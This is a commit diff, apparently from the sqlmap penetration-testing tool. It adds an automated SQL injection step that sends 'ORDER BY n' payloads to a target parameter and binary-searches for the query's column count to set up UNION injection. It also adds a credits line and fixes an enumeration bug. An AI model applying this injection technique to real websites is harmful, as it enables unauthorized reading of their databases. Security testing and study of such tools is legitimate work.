ORDER BY technique used for finding proper UNION col count (dramatical improvement of speed and capabilities) and one minor bug fix

This commit is contained in:
Miroslav Stampar 2011-08-03 09:08:16 +00:00
parent 07afcd5440
commit 9423d15fb3
5 changed files with 54 additions and 4 deletions

View File

@ -532,6 +532,9 @@ Anthony Zboralski <anthony.zboralski@bellua.com>
Thierry Zoller <thierry@zoller.lu> Thierry Zoller <thierry@zoller.lu>
for reporting a couple of major bugs for reporting a couple of major bugs
Zhen Zhou <zhouzhenster@gmail.com>
for suggesting a feature
-insane- <insane_@gmx.de> -insane- <insane_@gmx.de>
for reporting a minor bug for reporting a minor bug

View File

@ -1424,6 +1424,7 @@ def __setKnowledgeBaseAttributes(flushAll=True):
kb.nullConnection = None kb.nullConnection = None
kb.pageTemplate = None kb.pageTemplate = None
kb.pageTemplates = dict() kb.pageTemplates = dict()
kb.orderByColumns = None
kb.originalPage = None kb.originalPage = None
# Back-end DBMS underlying operating system fingerprint via banner (-b) # Back-end DBMS underlying operating system fingerprint via banner (-b)

View File

@ -388,3 +388,6 @@ BIGARRAY_CHUNK_LENGTH = 4096
# Only console display last n table rows # Only console display last n table rows
TRIM_STDOUT_DUMP_SIZE = 1024 TRIM_STDOUT_DUMP_SIZE = 1024
# Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
ORDER_BY_STEP = 10

View File

@ -21,8 +21,10 @@ from lib.core.common import getUnicode
from lib.core.common import listToStrValue from lib.core.common import listToStrValue
from lib.core.common import popValue from lib.core.common import popValue
from lib.core.common import pushValue from lib.core.common import pushValue
from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import removeReflectiveValues from lib.core.common import removeReflectiveValues
from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
from lib.core.common import stdev from lib.core.common import stdev
from lib.core.common import wasLastRequestDBMSError from lib.core.common import wasLastRequestDBMSError
@ -39,6 +41,7 @@ from lib.core.settings import MIN_RATIO
from lib.core.settings import MAX_RATIO from lib.core.settings import MAX_RATIO
from lib.core.settings import MIN_STATISTICAL_RANGE from lib.core.settings import MIN_STATISTICAL_RANGE
from lib.core.settings import MIN_UNION_RESPONSES from lib.core.settings import MIN_UNION_RESPONSES
from lib.core.settings import ORDER_BY_STEP
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser from lib.parse.html import htmlParser
from lib.request.comparison import comparison from lib.request.comparison import comparison
@ -50,11 +53,53 @@ def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where
""" """
retVal = None retVal = None
def __orderByTechnique():
def __orderByTest(cols):
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
page, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
return not re.search(r"((warning|error)[^\n]*order)|(order by)", page or "", re.I)
if __orderByTest(1) and not __orderByTest(randomInt()):
infoMsg = "ORDER BY technique seems to be usable. "
infoMsg += "this should dramatically reduce the "
infoMsg += "time needed to find the right number "
infoMsg += "of query columns. Automatically extending the "
infoMsg += "range for UNION query injection technique"
singleTimeLogMessage(infoMsg)
lowCols, highCols = 1, ORDER_BY_STEP
found = None
while not found:
if __orderByTest(highCols):
lowCols = highCols
highCols += ORDER_BY_STEP
else:
while not found:
mid = highCols - (highCols - lowCols) / 2
if __orderByTest(mid):
lowCols = mid
else:
highCols = mid
if (highCols - lowCols) < 2:
found = lowCols
return found
pushValue(kb.errorIsNone) pushValue(kb.errorIsNone)
items, ratios = [], [] items, ratios = [], []
kb.errorIsNone = False kb.errorIsNone = False
lowerCount, upperCount = conf.uColsStart, conf.uColsStop lowerCount, upperCount = conf.uColsStart, conf.uColsStop
if lowerCount == 1:
found = kb.orderByColumns or __orderByTechnique()
if found:
kb.orderByColumns = found
infoMsg = "target url appears to have %d columns in query" % found
singleTimeLogMessage(infoMsg)
return found
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
upperCount = lowerCount + MIN_UNION_RESPONSES upperCount = lowerCount + MIN_UNION_RESPONSES

View File

@ -2031,10 +2031,8 @@ class Enumeration:
query += exclDbsQuery query += exclDbsQuery
values = inject.getValue(query, blind=False) values = inject.getValue(query, blind=False)
if not isNoneValue(values): if not any([isNoneValue(values), isinstance(values, basestring)]):
if isinstance(values, basestring): values = filter(lambda x: isinstance(x, (tuple, list, set)) and len(x) == 2, values)
values = [ values ]
for foundDb, foundTbl in values: for foundDb, foundTbl in values:
foundDb = safeSQLIdentificatorNaming(foundDb) foundDb = safeSQLIdentificatorNaming(foundDb)
foundTbl = safeSQLIdentificatorNaming(foundTbl, True) foundTbl = safeSQLIdentificatorNaming(foundTbl, True)